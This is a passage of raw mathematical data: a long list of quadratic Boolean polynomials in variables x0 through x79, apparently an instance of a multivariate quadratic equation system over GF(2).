x65*x77 + x65*x78 + x65*x79 + x66*x72 + x66*x74 + x66*x76 + x67*x68 + x67*x69 + x67*x70 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x68*x71 + x68*x72 + x68*x73 + x68*x74 + x68*x78 + x68 + x69*x74 + x69*x78 + x69*x79 + x70*x71 + x71*x72 + x71*x74 + x71*x75 + x71*x79 + x72*x73 + x72*x74 + x72*x75 + x72*x77 + x72*x78 + x73*x75 + x73*x77 + x73*x78 + x74*x75 + x74*x76 + x74*x78 + x74*x79 + x75*x76 + x75*x77 + x75*x78 + x76*x77 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79 + x78 + x79 + 1, x0*x1 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x11 + x0*x13 + x0*x17 + x0*x20 + x0*x21 + x0*x25 + x0*x26 + x0*x28 + x0*x29 + x0*x36 + x0*x37 + x0*x40 + x0*x43 + x0*x44 + x0*x46 + x0*x49 + x0*x50 + x0*x51 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x63 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x72 + x0*x74 + x0*x75 + x0*x76 + x0*x77 + x0*x78 + x0 + x1*x3 + x1*x4 + x1*x7 + x1*x8 + x1*x9 + x1*x12 + x1*x13 + x1*x16 + x1*x17 + x1*x21 + x1*x22 + x1*x26 + x1*x28 + x1*x30 + x1*x31 + x1*x35 + x1*x36 + x1*x38 + x1*x43 + x1*x50 + x1*x55 + x1*x58 + x1*x60 + x1*x61 + x1*x64 + x1*x66 + x1*x70 + x1*x72 + x1*x73 + x1*x75 + x1 + x2*x4 + x2*x6 + x2*x8 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x17 + x2*x22 + x2*x23 + x2*x24 + x2*x26 + x2*x27 + x2*x29 + x2*x33 + x2*x37 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x43 + x2*x45 + x2*x47 + x2*x48 + x2*x49 + x2*x50 + x2*x54 + x2*x59 + x2*x60 + x2*x63 + x2*x64 + x2*x67 + x2*x68 + x2*x71 + x2*x72 + x2*x73 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x6 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x20 + x3*x25 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x46 + x3*x48 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x54 + x3*x57 + x3*x58 + x3*x59 + x3*x60 + x3*x61 + x3*x62 + x3*x66 + x3*x67 + x3*x68 + x3*x70 + x3*x71 + x3*x72 + x3*x73 + x3*x77 + x3 + x4*x6 + x4*x7 + x4*x9 + x4*x13 + x4*x14 + x4*x15 + x4*x16 + x4*x17 + x4*x18 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x30 + x4*x32 + x4*x33 + x4*x34 + x4*x36 + x4*x39 + x4*x40 + x4*x41 + x4*x44 + x4*x45 + x4*x46 + x4*x48 + x4*x49 + x4*x53 + x4*x54 + x4*x55 + x4*x57 + x4*x63 + x4*x65 + x4*x66 + x4*x67 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x77 + x4*x78 + x5*x7 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x23 + x5*x25 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x35 + x5*x37 + x5*x41 + x5*x42 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x53 + x5*x55 + x5*x56 + x5*x57 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x72 + x5*x73 + x5*x75 + x5*x79 + x6*x8 + x6*x9 + x6*x10 + x6*x11 + x6*x14 + x6*x15 + x6*x16 + x6*x20 + x6*x21 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x37 + x6*x38 + x6*x39 + x6*x40 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x49 + x6*x53 + x6*x54 + x6*x56 + x6*x59 + x6*x61 + x6*x63 + x6*x66 + x6*x68 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x11 + x7*x12 + x7*x16 + x7*x17 + x7*x19 + x7*x20 + x7*x25 + x7*x29 + x7*x30 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x43 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x50 + x7*x53 + x7*x55 + x7*x59 + x7*x61 + x7*x62 + x7*x64 + x7*x65 + x7*x66 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x75 + x7*x76 + x7*x79 + x7 + x8*x9 + x8*x12 + x8*x13 + x8*x15 + x8*x16 + x8*x18 + x8*x21 + x8*x24 + x8*x25 + x8*x29 + x8*x30 + x8*x31 + x8*x34 + x8*x36 + x8*x37 + x8*x39 + x8*x40 + x8*x42 + x8*x44 + x8*x49 + x8*x50 + x8*x51 + x8*x52 + x8*x54 + x8*x56 + x8*x59 + x8*x63 + x8*x66 + x8*x67 + x8*x69 + x8*x73 + x8*x74 + x8*x75 + x8*x77 + x8*x78 + x9*x10 + x9*x12 + x9*x14 + x9*x15 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x28 + x9*x32 + x9*x34 + x9*x36 + x9*x37 + x9*x42 + x9*x44 + x9*x46 + x9*x48 + x9*x51 + x9*x53 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x60 + x9*x62 + x9*x65 + x9*x70 + x9*x76 + x9*x79 + x10*x11 + x10*x12 + x10*x13 + x10*x17 + x10*x19 + x10*x21 + x10*x22 + x10*x24 + x10*x25 + x10*x29 + x10*x31 + x10*x32 + x10*x34 + x10*x37 + x10*x38 + x10*x40 + x10*x42 + x10*x45 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x53 + x10*x55 + x10*x58 + x10*x59 + x10*x62 + x10*x64 + x10*x65 + x10*x68 + x10*x69 + x10*x71 + x10*x76 + x10*x77 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x14 + x11*x15 + x11*x19 + x11*x20 + x11*x22 + x11*x26 + x11*x27 + x11*x30 + x11*x31 + x11*x32 + x11*x35 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x43 + x11*x44 + x11*x45 + x11*x48 + x11*x56 + x11*x59 + x11*x60 + x11*x62 + x11*x63 + x11*x66 + x11*x69 + x11*x70 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x77 + x11*x79 + x12*x13 + x12*x16 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x27 + x12*x28 + x12*x33 + x12*x35 + x12*x36 + x12*x38 + x12*x40 + x12*x43 + x12*x44 + x12*x49 + x12*x52 + x12*x59 + x12*x61 + x12*x63 + x12*x64 + x12*x66 + x12*x69 + x12*x70 + x12*x73 + x12*x75 + x12*x77 + x12 + x13*x14 + x13*x17 + x13*x19 + x13*x21 + x13*x24 + x13*x26 + x13*x28 + x13*x30 + x13*x31 + x13*x32 + x13*x37 + x13*x38 + x13*x40 + x13*x44 + x13*x45 + x13*x46 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x63 + x13*x66 + x13*x67 + x13*x71 + x13*x73 + x13*x74 + x13*x76 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x24 + x14*x25 + x14*x26 + x14*x27 + x14*x28 + x14*x29 + x14*x30 + x14*x31 + x14*x32 + x14*x36 + x14*x39 + x14*x40 + x14*x41 + x14*x42 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x53 + x14*x55 + x14*x59 + x14*x62 + x14*x64 + x14*x65 + x14*x66 + x14*x67 + x14*x68 + x14*x74 + x14*x76 + x14*x77 + x15*x16 + x15*x18 + x15*x21 + x15*x28 + x15*x29 + x15*x32 + x15*x34 + x15*x36 + x15*x39 + x15*x40 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x49 + x15*x51 + x15*x53 + x15*x56 + x15*x57 + x15*x59 + x15*x61 + x15*x62 + x15*x63 + x15*x66 + x15*x67 + x15*x70 + x15*x75 + x15*x76 + x15*x79 + x16*x18 + x16*x19 + x16*x24 + x16*x27 + x16*x30 + x16*x31 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x42 + x16*x45 + x16*x51 + x16*x52 + x16*x56 + x16*x57 + x16*x58 + x16*x60 + x16*x62 + x16*x65 + x16*x66 + x16*x70 + x16*x71 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x25 + x17*x28 + x17*x31 + x17*x32 + x17*x33 + x17*x35 + x17*x36 + x17*x37 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x50 + x17*x52 + x17*x53 + x17*x55 + x17*x57 + x17*x58 + x17*x60 + x17*x61 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x69 + x17*x70 + x17*x72 + x17*x73 + x17*x74 + x17*x75 + x17*x76 + x17*x79 + x17 + x18*x20 + x18*x23 + x18*x24 + x18*x25 + x18*x26 + x18*x29 + x18*x33 + x18*x37 + x18*x38 + x18*x40 + x18*x42 + x18*x44 + x18*x46 + x18*x50 + x18*x51 + x18*x52 + x18*x55 + x18*x56 + x18*x59 + x18*x60 + x18*x61 + x18*x65 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x74 + x18 + x19*x23 + x19*x25 + x19*x27 + x19*x29 + x19*x30 + x19*x32 + x19*x38 + x19*x39 + x19*x42 + x19*x45 + x19*x46 + x19*x47 + x19*x48 + x19*x52 + x19*x54 + x19*x55 + x19*x57 + x19*x61 + x19*x63 + x19*x64 + x19*x65 + x19*x67 + x19*x68 + x19*x70 + x19*x72 + x19*x73 + x19*x74 + x19*x76 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x24 + x20*x25 + x20*x29 + x20*x31 + x20*x33 + x20*x34 + x20*x41 + x20*x42 + x20*x43 + x20*x44 + x20*x48 + x20*x51 + x20*x52 + x20*x56 + x20*x57 + x20*x58 + x20*x62 + x20*x64 + x20*x66 + x20*x67 + x20*x69 + x20*x71 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x20*x77 + x20*x78 + x21*x22 + x21*x25 + x21*x26 + x21*x29 + x21*x31 + x21*x32 + x21*x34 + x21*x35 + x21*x38 + x21*x42 + x21*x44 + x21*x45 + x21*x47 + x21*x51 + x21*x53 + x21*x57 + x21*x58 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x68 + x21*x70 + x21*x73 + x21*x74 + x21*x75 + x21*x77 + x21*x78 + x22*x23 + x22*x25 + x22*x26 + x22*x30 + x22*x32 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x42 + x22*x43 + x22*x45 + x22*x46 + x22*x50 + x22*x51 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x58 + x22*x63 + x22*x64 + x22*x67 + x22*x68 + x22*x70 + x22*x71 + x22*x72 + x22*x73 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x29 + x23*x30 + x23*x32 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x44 + x23*x45 + x23*x47 + x23*x48 + x23*x49 + x23*x51 + x23*x53 + x23*x55 + x23*x56 + x23*x57 + x23*x60 + x23*x61 + x23*x64 + x23*x65 + x23*x67 + x23*x68 + x23*x70 + x23*x73 + x23*x74 + x23*x75 + x23*x76 + x23*x78 + x24*x26 + x24*x27 + x24*x29 + x24*x30 + x24*x35 + x24*x39 + x24*x40 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x54 + x24*x58 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x68 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x75 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x32 + x25*x33 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x43 + x25*x45 + x25*x46 + x25*x50 + x25*x52 + x25*x55 + x25*x56 + x25*x57 + x25*x58 + x25*x60 + x25*x61 + x25*x63 + x25*x70 + x25*x71 + x25*x74 + x25*x75 + x25*x76 + x25*x77 + x25*x78 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x32 + x26*x34 + x26*x36 + x26*x37 + x26*x39 + x26*x43 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x53 + x26*x54 + x26*x55 + x26*x59 + x26*x72 + x26*x74 + x26*x76 + x26*x78 + x26 + x27*x30 + x27*x31 + x27*x32 + x27*x36 + x27*x37 + x27*x39 + x27*x40 + x27*x43 + x27*x45 + x27*x47 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x64 + x27*x66 + x27*x70 + x27*x71 + x27*x74 + x27*x77 + x27*x78 + x27*x79 + x28*x30 + x28*x32 + x28*x34 + x28*x36 + x28*x37 + x28*x39 + x28*x42 + x28*x43 + x28*x44 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x54 + x28*x58 + x28*x60 + x28*x61 + x28*x62 + x28*x63 + x28*x66 + x28*x67 + x28*x68 + x28*x70 + x28*x74 + x28*x75 + x28*x77 + x28*x79 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x41 + x29*x48 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x57 + x29*x58 + x29*x62 + x29*x63 + x29*x64 + x29*x67 + x29*x68 + x29*x74 + x29*x76 + x29*x79 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x42 + x30*x43 + x30*x45 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x76 + x30*x77 + x31*x32 + x31*x34 + x31*x35 + x31*x37 + x31*x41 + x31*x42 + x31*x45 + x31*x46 + x31*x47 + x31*x48 + x31*x50 + x31*x54 + x31*x55 + x31*x58 + x31*x59 + x31*x61 + x31*x64 + x31*x66 + x31*x71 + x31*x72 + x31*x73 + x31*x76 + x31*x79 + x32*x33 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x40 + x32*x41 + x32*x43 + x32*x44 + x32*x47 + x32*x51 + x32*x52 + x32*x56 + x32*x58 + x32*x60 + x32*x64 + x32*x65 + x32*x68 + x32*x70 + x32*x71 + x32*x72 + x32*x73 + x32*x77 + x32*x78 + x32 + x33*x35 + x33*x41 + x33*x43 + x33*x45 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x54 + x33*x55 + x33*x56 + x33*x59 + x33*x64 + x33*x67 + x33*x68 + x33*x71 + x33*x73 + x33*x76 + x33*x77 + x34*x35 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x48 + x34*x49 + x34*x50 + x34*x52 + x34*x56 + x34*x57 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x70 + x34*x72 + x34*x73 + x34*x74 + x34*x76 + x34*x77 + x34 + x35*x38 + x35*x41 + x35*x43 + x35*x45 + x35*x47 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x54 + x35*x56 + x35*x57 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x69 + x35*x70 + x35*x71 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x36*x37 + x36*x38 + x36*x39 + x36*x42 + x36*x45 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x60 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x36*x78 + x37*x38 + x37*x41 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x55 + x37*x57 + x37*x59 + x37*x60 + x37*x63 + x37*x65 + x37*x66 + x37*x69 + x37*x71 + x37*x74 + x37*x75 + x37*x78 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x48 + x38*x50 + x38*x56 + x38*x57 + x38*x58 + x38*x61 + x38*x64 + x38*x67 + x38*x69 + x38*x72 + x38*x76 + x38*x77 + x38*x78 + x38 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x51 + x39*x53 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x63 + x39*x64 + x39*x65 + x39*x69 + x39*x70 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x40*x41 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x54 + x40*x59 + x40*x60 + x40*x61 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x78 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x48 + x41*x51 + x41*x53 + x41*x54 + x41*x60 + x41*x61 + x41*x63 + x41*x65 + x41*x66 + x41*x71 + x41*x72 + x41*x74 + x41*x78 + x41*x79 + x42*x47 + x42*x49 + x42*x53 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x59 + x42*x62 + x42*x63 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x72 + x42*x79 + x42 + x43*x45 + x43*x49 + x43*x50 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x58 + x43*x59 + x43*x62 + x43*x64 + x43*x72 + x43*x74 + x43*x76 + x43*x77 + x44*x45 + x44*x48 + x44*x50 + x44*x52 + x44*x53 + x44*x54 + x44*x56 + x44*x59 + x44*x60 + x44*x62 + x44*x65 + x44*x66 + x44*x67 + x44*x70 + x44*x72 + x44*x73 + x44*x75 + x44*x78 + x45*x49 + x45*x50 + x45*x55 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x71 + x45*x73 + x45*x76 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x53 + x46*x56 + x46*x58 + x46*x59 + x46*x62 + x46*x66 + x46*x68 + x46*x70 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x78 + x46*x79 + x47*x49 + x47*x50 + x47*x52 + x47*x55 + x47*x57 + x47*x59 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x67 + x47*x68 + x47*x69 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x48*x50 + x48*x54 + x48*x55 + x48*x56 + x48*x58 + x48*x59 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x67 + x48*x70 + x48*x71 + x48*x72 + x48*x77 + x48*x78 + x48 + x49*x51 + x49*x52 + x49*x56 + x49*x57 + x49*x58 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x68 + x49*x70 + x49*x72 + x49*x73 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x49 + x50*x53 + x50*x55 + x50*x56 + x50*x58 + x50*x62 + x50*x63 + x50*x67 + x50*x70 + x50*x73 + x50*x76 + x50*x79 + x51*x56 + x51*x57 + x51*x63 + x51*x64 + x51*x65 + x51*x75 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x55 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x75 + x53*x54 + x53*x56 + x53*x57 + x53*x58 + x53*x59 + x53*x60 + x53*x62 + x53*x64 + x53*x65 + x53*x66 + x53*x69 + x53*x71 + x53*x72 + x53*x76 + x53*x78 + x53*x79 + x54*x55 + x54*x57 + x54*x60 + x54*x61 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x73 + x54*x74 + x54*x78 + x55*x56 + x55*x58 + x55*x59 + x55*x64 + x55*x66 + x55*x71 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x62 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x60 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57*x76 + x57 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58*x78 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x68 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x64 + x61*x65 + x61*x66 + x61*x68 + x61*x70 + x61*x71 + x61*x72 + x61*x75 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x67 + x62*x68 + x62*x70 + x62*x72 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x66 + x63*x67 + x63*x69 + x63*x71 + x63*x73 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x66 + x64*x69 + x64*x72 + x64*x73 + x64*x76 + x64*x78 + x65*x66 + x65*x67 + x65*x70 + x65*x71 + x65*x73 + x65*x77 + x65*x79 + x66*x67 + x66*x71 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67 + x68*x70 + x68*x71 + x68*x76 + x68*x78 + x69*x70 + x69*x71 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69 + x70*x72 + x70*x76 + x71*x73 + x71*x74 + x71*x76 + x71*x77 + x71 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x73*x74 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x78 + x74*x79 + x74 + x75*x76 + x75*x77 + x75*x78 + x76*x77 + x76*x79 + x79 + 1, x0*x1 + x0*x4 + x0*x8 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x14 + x0*x16 + x0*x18 + x0*x19 + x0*x21 + x0*x27 + x0*x29 + x0*x31 + x0*x32 + x0*x34 + x0*x36 + x0*x38 + x0*x41 + x0*x43 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x64 + x0*x65 + x0*x68 + x0*x70 + x0*x72 + x0*x75 + x0 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x12 + x1*x13 + x1*x15 + x1*x17 + x1*x19 + x1*x27 + x1*x28 + x1*x29 + x1*x33 + x1*x35 + x1*x36 + x1*x37 + x1*x40 + x1*x42 + x1*x48 + x1*x50 + x1*x51 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x57 + x1*x65 + x1*x69 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x2*x7 + x2*x8 + x2*x9 + x2*x11 + x2*x14 + x2*x15 + x2*x19 + x2*x20 + x2*x23 + x2*x26 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x34 + x2*x37 + x2*x39 + x2*x42 + x2*x45 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x55 + x2*x59 + x2*x60 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x3*x4 + x3*x6 + x3*x7 + x3*x8 + x3*x12 + x3*x14 + x3*x15 + x3*x16 + x3*x22 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x33 + x3*x34 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x42 + x3*x46 + x3*x47 + x3*x48 + x3*x50 + x3*x51 + x3*x53 + x3*x57 + x3*x59 + x3*x61 + x3*x64 + x3*x67 + x3*x72 + x3*x75 + x3*x79 + x3 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x14 + x4*x15 + x4*x18 + x4*x19 + x4*x21 + x4*x23 + x4*x24 + x4*x25 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x36 + x4*x38 + x4*x39 + x4*x44 + x4*x48 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x57 + x4*x58 + x4*x59 + x4*x61 + x4*x62 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x75 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x9 + x5*x11 + x5*x12 + x5*x14 + x5*x17 + x5*x18 + x5*x20 + x5*x21 + x5*x22 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x41 + x5*x42 + x5*x44 + x5*x45 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x54 + x5*x59 + x5*x60 + x5*x61 + x5*x65 + x5*x66 + x5*x68 + x5*x69 + x5*x70 + x5*x72 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x7 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x20 + x6*x21 + x6*x23 + x6*x24 + x6*x25 + x6*x27 + x6*x28 + x6*x32 + x6*x33 + x6*x35 + x6*x38 + x6*x40 + x6*x42 + x6*x43 + x6*x45 + x6*x47 + x6*x48 + x6*x50 + x6*x54 + x6*x55 + x6*x57 + x6*x58 + x6*x61 + x6*x62 + x6*x65 + x6*x66 + x6*x70 + x6*x71 + x6*x74 + x6*x76 + x6*x79 + x6 + x7*x9 + x7*x13 + x7*x14 + x7*x16 + x7*x17 + x7*x20 + x7*x22 + x7*x23 + x7*x24 + x7*x27 + x7*x28 + x7*x32 + x7*x35 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x63 + x7*x64 + x7*x65 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x11 + x8*x12 + x8*x16 + x8*x17 + x8*x19 + x8*x21 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x37 + x8*x38 + x8*x42 + x8*x43 + x8*x45 + x8*x50 + x8*x54 + x8*x55 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x70 + x8*x73 + x8*x75 + x8*x77 + x8*x78 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x16 + x9*x18 + x9*x21 + x9*x22 + x9*x28 + x9*x30 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x42 + x9*x44 + x9*x45 + x9*x50 + x9*x51 + x9*x53 + x9*x55 + x9*x56 + x9*x59 + x9*x63 + x9*x69 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x75 + x9*x76 + x10*x12 + x10*x13 + x10*x18 + x10*x19 + x10*x22 + x10*x23 + x10*x24 + x10*x26 + x10*x27 + x10*x28 + x10*x31 + x10*x32 + x10*x37 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x48 + x10*x50 + x10*x51 + x10*x53 + x10*x54 + x10*x56 + x10*x59 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x69 + x10*x74 + x10*x76 + x10*x78 + x10*x79 + x11*x13 + x11*x14 + x11*x15 + x11*x16 + x11*x20 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x34 + x11*x35 + x11*x36 + x11*x39 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x52 + x11*x54 + x11*x57 + x11*x59 + x11*x61 + x11*x62 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x73 + x11*x75 + 